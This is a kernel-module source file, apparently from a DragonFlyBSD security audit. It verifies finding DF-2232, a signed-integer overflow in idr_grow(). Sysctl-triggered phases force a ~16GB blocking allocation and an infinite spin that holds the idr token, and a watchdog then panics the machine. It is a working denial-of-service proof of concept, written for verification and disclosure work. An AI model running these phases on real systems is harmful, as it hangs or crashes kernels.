⬢ DragonFlyBSD Kernel Audit
DF-2232 / df2232_rig.c
← back to finding ↓ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
/*
 * DF-2232 verification rig -- DragonFlyBSD kernel module (KLD).
 *
 * Finding: sys/libkern/linux_idr.c idr_grow() growth loop
 *      nf = idp->idr_count;
 *      do { nf = 2 * nf + 1; } while (nf <= want);
 * computes 2*nf+1 in a *signed int*.  For want >= 2^29 the loop exits
 * with nf = 2^30-1 and kmalloc()s (2^30-1)*16 = 17179869168 bytes (~16GB,
 * M_ZERO|M_WAITOK).  For want == INT_MAX the predicate stays true forever:
 * 2*INT_MAX+1 wraps to -1, -1 <= INT_MAX -> infinite spin while the lwkt
 * idr token is held.
 *
 * Rig design (verbatim-code KLD):
 *   The REAL sys/libkern/linux_idr.c is #included byte-identical (the copy
 *   placed next to this file is sha256-verified against the audited tree by
 *   build.sh).  Only the exported symbol NAMES are macro-renamed so the KLD
 *   does not collide with the kernel's own libkern copies -- the algorithm
 *   is untouched.  A kmalloc() observation wrapper (OUTSIDE the verbatim
 *   file) captures the exact byte size requested at the allocator boundary
 *   and then hands the request to the real allocator unchanged.
 *
 *   The kernel's own exported idr_* KPI (the shipped binary) is ALSO
 *   exercised directly for the control and spin phases.
 *
 * Phases (sysctl debug.df2232=<n>, write triggers):
 *   1 = control, verbatim copy:   normal wants 1..1000 round-trip
 *   2 = control, kernel KPI:      same, on the running kernel's own symbols
 *   3 = GIANT KMALLOC:            idr_alloc(start=1<<29) via verbatim copy
 *                                 (watchdog-protected, 15s)
 *   4 = SPIN, verbatim copy:      sid=INT_MAX -> pre_get -> infinite loop;
 *                                 second thread denied the idr token
 *   5 = SPIN, kernel KPI:         same on the shipped binary
 *
 * Watchdog: a systimer armed on a remote CPU fires from hard-interrupt
 * context (immune to kernel-mode spin loops) and panics with a marker
 * string plus the phase state flags, so every phase terminates with
 * decisive output.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/libkern.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/errno.h>
#include <sys/idr.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/kthread.h>
#include <sys/globaldata.h>
#include <sys/systimer.h>
#include <machine/cpu.h>
#include <sys/spinlock2.h>
#include <sys/limits.h>

/*
 * Phase state (cross-thread, read by the hard-IRQ watchdog)
 */
static volatile int df2232_a_stage;	/* 0=not run 1=EAGAIN seen 2=in pre_get */
static volatile int df2232_a_done;	/* A returned from pre_get */
static volatile int df2232_b_started;	/* B entered post-spin idr_remove */
static volatile int df2232_b_acquired;	/* B's idr_remove returned */
static volatile unsigned long df2232_last_req;
static int df2232_armed;
static int df2232_threads_live;
static int df2232_danger_ran;	/* any crash-phase ran: stay resident */
static int df2232_use_kernel;

static struct idr df2232_idr_v;		/* verbatim-copy idr (control/giant) */
static struct idr df2232_idr_k;		/* kernel-KPI idr (control) */
static struct idr df2232_idr_c;		/* spin-phase idr */

#define DF2232_WD_SECONDS	15

static struct systimer df2232_wd;
static volatile int df2232_wd_ticks;
static volatile int df2232_wd_cancel;
static volatile int df2232_wd_ctrl;	/* 1 = stop the watchdog thread */
static const char *df2232_wd_marker = "(none)";

/*
 * Watchdog callback -- runs from hard-interrupt context (systimer).
 */
static void
df2232_watchdog(struct systimer *st __unused, int inintr __unused,
		struct intrframe *f __unused)
{
	if (df2232_wd_cancel)
		return;
	if (++df2232_wd_ticks < DF2232_WD_SECONDS * 2)
		return;
	kprintf("[DF2232-WD] FIRED after ~%d s\n", DF2232_WD_SECONDS);
	kprintf("[DF2232-WD] a_stage=%d a_done=%d b_started=%d b_acquired=%d "
		"last_kmalloc_req=%lu bytes\n",
		df2232_a_stage, df2232_a_done, df2232_b_started,
		df2232_b_acquired, df2232_last_req);
	panic("DF2232-WD: %s", df2232_wd_marker);
}

/*
 * Watchdog thread: created on a CPU different from the trigger so the
 * systimer is armed on a CPU that no phase ever monopolizes.
 */
static void
df2232_wd_thread(void *arg __unused)
{
	kprintf("[DF2232] watchdog thread on cpu %d\n", mycpu->gd_cpuid);
	systimer_init_periodic(&df2232_wd, df2232_watchdog, NULL, 2);
	for (;;) {
		tsleep(&df2232_wd_ctrl, 0, "df2232wd", hz);
		if (df2232_wd_ctrl) {
			systimer_del(&df2232_wd);
			kprintf("[DF2232] watchdog thread stopped+exiting\n");
			break;
		}
	}
	kthread_exit();
}

static void
df2232_arm_watchdog(const char *marker)
{
	int cpu = (mycpu->gd_cpuid + 3) % ncpus;

	df2232_wd_ticks = 0;
	df2232_wd_cancel = 0;
	df2232_wd_ctrl = 0;
	df2232_wd_marker = marker;
	df2232_armed = 1;
	kprintf("[DF2232] arming %d s watchdog on cpu %d\n",
		DF2232_WD_SECONDS, cpu);
	kthread_create_cpu(df2232_wd_thread, NULL, NULL, cpu,
			   "df2232_wd");
}

static void
df2232_disarm_watchdog(void)
{
	df2232_wd_cancel = 1;
	df2232_wd_ctrl = 1;
	wakeup(&df2232_wd_ctrl);
	/* give the pinned watchdog thread a moment to systimer_del+exit */
	tsleep(&df2232_wd_ctrl, 0, "df2232d", 2);
	df2232_armed = 0;
	kprintf("[DF2232] watchdog disarmed\n");
}

/*=====================================================================
 * Verbatim inclusion of sys/libkern/linux_idr.c.
 *
 * KLD guard: rename the file's exported globals (and its malloc type) so
 * they do not collide with the kernel's own libkern/linux_idr.c symbols.
 * The algorithm itself is compiled byte-identical from the pristine file
 * (sha256-checked by build.sh).  All headers the file includes are already
 * included above, so the kmalloc() observation wrapper defined below
 * survives (malloc.h's own #define of kmalloc is not reprocessed).
 *=====================================================================*/

/* prototypes for the renamed KPI (declared before the renames so the
 * identifiers here are NOT themselves renamed) */
int	df2232_idr_pre_get(struct idr *, unsigned);
int	df2232_idr_get_new_above(struct idr *, void *, int, int *);
int	df2232_idr_get_new(struct idr *, void *, int *);
int	df2232_idr_alloc(struct idr *, void *, int, int, unsigned);
void	*df2232_idr_remove(struct idr *, int);
void	df2232_idr_remove_all(struct idr *);
void	df2232_idr_destroy(struct idr *);
void	*df2232_idr_find(struct idr *, int);
int	df2232_idr_for_each(struct idr *, int (*)(int, void *, void *),
			   void *);
void	*df2232_idr_replace(struct idr *, void *, int);
void	df2232_idr_init(struct idr *);
/* tentative definition: the real initializer comes from MALLOC_DEFINE
 * inside linux_idr.c (renamed to df2232_M_IDR) */
struct malloc_type df2232_M_IDR[1];

#define idr_pre_get		df2232_idr_pre_get
#define idr_get_new_above	df2232_idr_get_new_above
#define idr_get_new		df2232_idr_get_new
#define idr_alloc		df2232_idr_alloc
#define idr_remove		df2232_idr_remove
#define idr_remove_all		df2232_idr_remove_all
#define idr_destroy		df2232_idr_destroy
#define idr_find		df2232_idr_find
#define idr_for_each		df2232_idr_for_each
#define idr_replace		df2232_idr_replace
#define idr_init		df2232_idr_init
#define M_IDR			df2232_M_IDR

/*
 * kmalloc observation wrapper: capture the exact request size at the
 * allocator boundary, then pass through to the REAL allocator unchanged.
 */
static void *
df2232_kmalloc_obs(unsigned long size, int flags)
{
	df2232_last_req = size;
	kprintf("[DF2232-B] ALLOCATOR BOUNDARY: kmalloc(%lu bytes [0x%lx], "
		"M_IDR, flags 0x%x) -> real allocator\n", size, size, flags);
	return _kmalloc(size, df2232_M_IDR, flags);
}

#undef kmalloc
#define kmalloc(size, type, flags)	df2232_kmalloc_obs((size), (flags))

#include "linux_idr.c"		/* byte-identical, sha256-verified */

/*
 * Restore the plain names: from here on, idr_alloc(...) etc. refer to the
 * RUNNING KERNEL's own exported KPI (the shipped binary).
 */
#undef idr_pre_get
#undef idr_get_new_above
#undef idr_get_new
#undef idr_alloc
#undef idr_remove
#undef idr_remove_all
#undef idr_destroy
#undef idr_find
#undef idr_for_each
#undef idr_replace
#undef idr_init
#undef M_IDR
#undef kmalloc

/*=====================================================================
 * Phase A: normal-path control (verbatim copy)
 *=====================================================================*/
static int
df2232_phase_a(int use_kernel)
{
	struct idr *idp = use_kernel ? &df2232_idr_k : &df2232_idr_v;
	void *p;
	int id = -1, r, fails = 0;
	const char *tag = use_kernel ? "[DF2232-A2]" : "[DF2232-A1]";

	kprintf("%s === control phase (%s) ===\n", tag,
		use_kernel ? "kernel KPI (shipped binary)"
			   : "verbatim KLD copy");
	kprintf("%s sizeof(struct idr_node)=%lu\n", tag,
		(unsigned long)sizeof(struct idr_node));

#define DF2232_CALL(ret, expr_kernel, expr_verbatim)			\
	do {								\
		if (use_kernel)						\
			ret = (expr_kernel);				\
		else							\
			ret = (expr_verbatim);				\
	} while (0)

	kprintf("%s idr_init()\n", tag);
	if (use_kernel)
		idr_init(idp);
	else
		df2232_idr_init(idp);
	kprintf("%s idr_count=%d (expect 255)\n", tag, idp->idr_count);
	if (idp->idr_count != 255)
		fails++;

	/* grow to want=1 -> no growth needed, id should be 1 */
	DF2232_CALL(r, idr_alloc(idp, (void *)0xAA, 1, 0, 0),
		     df2232_idr_alloc(idp, (void *)0xAA, 1, 0, 0));
	kprintf("%s idr_alloc(start=1) -> %d (expect 1), idr_count=%d "
		"(expect 255)\n", tag, r, idp->idr_count);
	if (r != 1 || idp->idr_count != 255)
		fails++;

	/* grow to want=1000 -> count 255->1023 via idr_grow loop
	 * (nf stops at the first 2^n-1 EXCEEDING want: 1023 > 1000) */
	DF2232_CALL(r, idr_alloc(idp, (void *)0xBB, 1000, 0, 0),
		     df2232_idr_alloc(idp, (void *)0xBB, 1000, 0, 0));
	kprintf("%s idr_alloc(start=1000) -> %d (expect 1000), "
		"idr_count=%d (expect 1023)\n", tag, r, idp->idr_count);
	if (r != 1000 || idp->idr_count != 1023)
		fails++;

	DF2232_CALL(p, idr_find(idp, 1), df2232_idr_find(idp, 1));
	kprintf("%s idr_find(1) -> %p (expect 0xaa)\n", tag, p);
	DF2232_CALL(p, idr_find(idp, 1000), df2232_idr_find(idp, 1000));
	kprintf("%s idr_find(1000) -> %p (expect 0xbb)\n", tag, p);
	DF2232_CALL(p, idr_find(idp, 999), df2232_idr_find(idp, 999));
	kprintf("%s idr_find(999) -> %p (expect NULL)\n", tag, p);
	if (p != NULL)
		fails++;

	/* the documented pre_get + get_new_above(sid) protocol: the FIRST
	 * get_new_above with a fresh sid >= idr_maxwant returns -EAGAIN and
	 * poisons idr_maxwant -- the exact state the finding's INT_MAX
	 * attack uses -- so loop like the in-tree callers do */
	{
		int iter;

		for (iter = 1; iter <= 5; iter++) {
			DF2232_CALL(r, idr_pre_get(idp, 0),
				     df2232_idr_pre_get(idp, 0));
			kprintf("%s iter %d: idr_pre_get -> %d "
				"(expect 1)\n", tag, iter, r);
			if (r != 1)
				fails++;
			DF2232_CALL(r,
				     idr_get_new_above(idp, (void *)0xCC,
						       500, &id),
				     df2232_idr_get_new_above(idp,
							      (void *)0xCC,
							      500, &id));
			kprintf("%s iter %d: idr_get_new_above(sid=500) -> %d "
				"(EAGAIN=%d expected on iter 1), id=%d\n",
				tag, iter, r, -EAGAIN, id);
			if (r == -EAGAIN)
				continue;
			break;
		}
		kprintf("%s get_new_above settled: ret=%d id=%d "
			"(expect 0, 500) after %d iteration(s), "
			"idr_maxwant=%d (expect 500)\n",
			tag, r, id, iter, idp->idr_maxwant);
		if (r != 0 || id != 500)
			fails++;
	}

	/* remove + re-alloc reuses the slot */
	DF2232_CALL(p, idr_remove(idp, 1000), df2232_idr_remove(idp, 1000));
	kprintf("%s idr_remove(1000) -> %p (expect 0xbb)\n", tag, p);
	if (p != (void *)0xBB)
		fails++;
	DF2232_CALL(r, idr_alloc(idp, (void *)0xDD, 1000, 0, 0),
		     df2232_idr_alloc(idp, (void *)0xDD, 1000, 0, 0));
	kprintf("%s idr_alloc(start=1000) again -> %d (expect 1000)\n",
		tag, r);
	if (r != 1000)
		fails++;

	kprintf("%s idr_nexpands=%d\n", tag, idp->idr_nexpands);
	if (use_kernel)
		idr_destroy(idp);
	else
		df2232_idr_destroy(idp);
	kprintf("%s idr_destroy done\n", tag);
	kprintf("%s === control phase %s (fails=%d) ===\n", tag,
		fails ? "FAILED" : "PASSED", fails);
	/* always return 0: the console log is the evidence */
	return (0);
}

/*=====================================================================
 * Phase B: giant kmalloc (want = 1<<29) via the verbatim copy
 *=====================================================================*/
static int
df2232_phase_b(void)
{
	int r;

	kprintf("[DF2232-B] === giant-kmalloc phase (verbatim copy) ===\n");
	kprintf("[DF2232-B] plan: idr_alloc(start=%d, end=0)\n", 1 << 29);
	kprintf("[DF2232-B] expected idr_grow loop result: nf = 2^30-1 = %d\n",
		(1 << 30) - 1);
	kprintf("[DF2232-B] expected kmalloc request: %d * %lu = %lu bytes "
		"(~16 GiB, M_ZERO|M_WAITOK)\n", (1 << 30) - 1,
		(unsigned long)sizeof(struct idr_node),
		(unsigned long)((1 << 30) - 1) *
		sizeof(struct idr_node));
	df2232_arm_watchdog("B: idr_grow kmalloc(~16GB, M_WAITOK) never "
			    "returned (vm_wait wedge / OOM)");
	kprintf("[DF2232-B] idr_init\n");
	df2232_idr_init(&df2232_idr_v);
	kprintf("[DF2232-B] entering idr_alloc ... (wedge expected on "
		"unfixed kernel; watchdog %d s)\n", DF2232_WD_SECONDS);
	df2232_danger_ran = 1;
	r = df2232_idr_alloc(&df2232_idr_v, (void *)0xB0B, 1 << 29, 0, 0);
	kprintf("[DF2232-B] idr_alloc RETURNED %d (unexpected on unfixed "
		"kernel)\n", r);
	if (r < 0) {
		kprintf("[DF2232-B] NOTE: negative errno return, no giant "
			"kmalloc reached the allocator (last request was "
			"%lu bytes)\n", df2232_last_req);
		df2232_idr_destroy(&df2232_idr_v);
	}
	df2232_disarm_watchdog();
	return (0);
}

/*=====================================================================
 * Phases C1/C2: want == INT_MAX infinite spin holding the idr token
 *=====================================================================*/
static void
df2232_thread_a(void *arg __unused)
{
	int error, id = -1;

	kprintf("[DF2232-C] A: running on cpu %d (%s)\n", mycpu->gd_cpuid,
		df2232_use_kernel ? "kernel KPI" : "verbatim copy");
	kprintf("[DF2232-C] A: calling idr_get_new_above(sid=%d) -- "
		"expect -EAGAIN and idr_maxwant poisoned to INT_MAX\n",
		INT_MAX);
	if (df2232_use_kernel)
		error = idr_get_new_above(&df2232_idr_c, (void *)0xC1,
					  INT_MAX, &id);
	else
		error = df2232_idr_get_new_above(&df2232_idr_c,
						 (void *)0xC1, INT_MAX, &id);
	df2232_a_stage = 1;
	kprintf("[DF2232-C] A: get_new_above returned %d (expect %d), "
		"id=%d, idr_maxwant=%d (expect %d)\n",
		error, -EAGAIN, id, df2232_idr_c.idr_maxwant, INT_MAX);
	kprintf("[DF2232-C] A: entering idr_pre_get -- expect INFINITE "
		"SPIN in idr_grow: nf=2*nf+1 wraps 2*INT_MAX+1 to -1, "
		"-1 <= INT_MAX forever, idr token held\n");
	df2232_a_stage = 2;
	if (df2232_use_kernel)
		error = idr_pre_get(&df2232_idr_c, 0);
	else
		error = df2232_idr_pre_get(&df2232_idr_c, 0);
	df2232_a_done = 1;
	kprintf("[DF2232-C] A: pre_get RETURNED %d (unexpected on unfixed "
		"kernel)\n", error);
	kthread_exit();
}

static void
df2232_thread_b(void *arg __unused)
{
	int waited;

	kprintf("[DF2232-C] B: running on cpu %d\n", mycpu->gd_cpuid);
	/* prove the token is acquirable BEFORE A enters pre_get */
	kprintf("[DF2232-C] B: pre-spin token check: idr_remove(0) ...\n");
	if (df2232_use_kernel)
		idr_remove(&df2232_idr_c, 0);
	else
		df2232_idr_remove(&df2232_idr_c, 0);
	kprintf("[DF2232-C] B: pre-spin token check returned (token was "
		"free)\n");

	for (waited = 0; waited < 100 && df2232_a_stage != 2; waited++)
		tsleep(&df2232_a_stage, 0, "df2232b", 1);
	kprintf("[DF2232-C] B: A entered pre_get (a_stage=%d); calling "
		"idr_remove(0) on the SAME idr -- expect NEVER to return "
		"(lwkt token held forever by spinning A)\n",
		df2232_a_stage);
	df2232_b_started = 1;
	if (df2232_use_kernel)
		idr_remove(&df2232_idr_c, 0);
	else
		df2232_idr_remove(&df2232_idr_c, 0);
	df2232_b_acquired = 1;
	kprintf("[DF2232-C] B: idr_remove RETURNED (unexpected on unfixed "
		"kernel)\n");
	kthread_exit();
}

static int
df2232_phase_c(int use_kernel)
{
	int waited;

	df2232_use_kernel = use_kernel;
	df2232_danger_ran = 1;
	kprintf("[DF2232-C] === spin phase (%s) ===\n",
		use_kernel ? "kernel KPI (shipped binary)" :
			     "verbatim KLD copy");
	kprintf("[DF2232-C] want=INT_MAX=%d: growth loop 2*INT_MAX+1 "
		"overflows signed int to -1; -1 <= INT_MAX -> infinite "
		"loop holding lwkt idr token\n", INT_MAX);
	df2232_arm_watchdog("C: idr_grow growth-loop infinite spin "
			    "(want=INT_MAX), idr token held forever; "
			    "thread B denied token (livelock)");
	if (use_kernel)
		idr_init(&df2232_idr_c);
	else
		df2232_idr_init(&df2232_idr_c);
	kprintf("[DF2232-C] idr_count=%d\n", df2232_idr_c.idr_count);

	kthread_create_cpu(df2232_thread_a, NULL, NULL,
			   (mycpu->gd_cpuid + 1) % ncpus, "df2232_a");
	for (waited = 0; waited < 100 && df2232_a_stage == 0; waited++)
		tsleep(&df2232_a_stage, 0, "df2232c", 1);
	kthread_create_cpu(df2232_thread_b, NULL, NULL,
			   (mycpu->gd_cpuid + 2) % ncpus, "df2232_b");

	/* wait for both threads to finish (fixed kernel) or WD panic */
	for (waited = 0; waited < 30 * 10; waited++) {
		if (df2232_a_done && df2232_b_acquired)
			break;
		tsleep(&df2232_a_done, 0, "df2232w", hz / 10);
	}
	kprintf("[DF2232-C] phase finished: a_done=%d b_acquired=%d\n",
		df2232_a_done, df2232_b_acquired);
	if (df2232_a_done && df2232_b_acquired) {
		kprintf("[DF2232-C] no spin, no livelock (fixed kernel "
			"behavior)\n");
		if (use_kernel)
			idr_destroy(&df2232_idr_c);
		else
			df2232_idr_destroy(&df2232_idr_c);
		df2232_disarm_watchdog();
	}
	return (0);
}

/*=====================================================================
 * sysctl trigger
 *=====================================================================*/
static int	df2232_last_phase;

static int
sysctl_df2232_trigger(SYSCTL_HANDLER_ARGS)
{
	int error, phase = 0;

	error = sysctl_handle_int(oidp, &phase, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	switch (phase) {
	case 1:
	case 2:
		error = df2232_phase_a(phase - 1);
		break;
	case 3:
		error = df2232_phase_b();
		break;
	case 4:
	case 5:
		error = df2232_phase_c(phase - 4);
		break;
	default:
		return (EINVAL);
	}
	df2232_last_phase = phase;
	return (error);
}

SYSCTL_PROC(_debug, OID_AUTO, df2232, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, sysctl_df2232_trigger, "I",
	    "DF-2232: 1=control(verbatim) 2=control(kernel) 3=giant-kmalloc "
	    "4=spin(verbatim) 5=spin(kernel)");

static int
df2232_modevent(module_t mod __unused, int type, void *data __unused)
{
	switch (type) {
	case MOD_LOAD:
		kprintf("[DF2232] rig loaded: verbatim linux_idr.c + kernel "
			"KPI, watchdog %ds\n", DF2232_WD_SECONDS);
		return (0);
	case MOD_UNLOAD:
		/* Stay resident once a crash-phase ran: tearing down the
		 * armed systimers and threads racing kldunload is the
		 * rig's own hazard, not the finding's.  EBUSY is clean. */
		if (df2232_armed || df2232_threads_live || df2232_danger_ran)
			return (EBUSY);
		kprintf("[DF2232] rig unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t df2232_mod = {
	"df2232",
	df2232_modevent,
	NULL
};

DECLARE_MODULE(df2232, df2232_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(df2232, 1);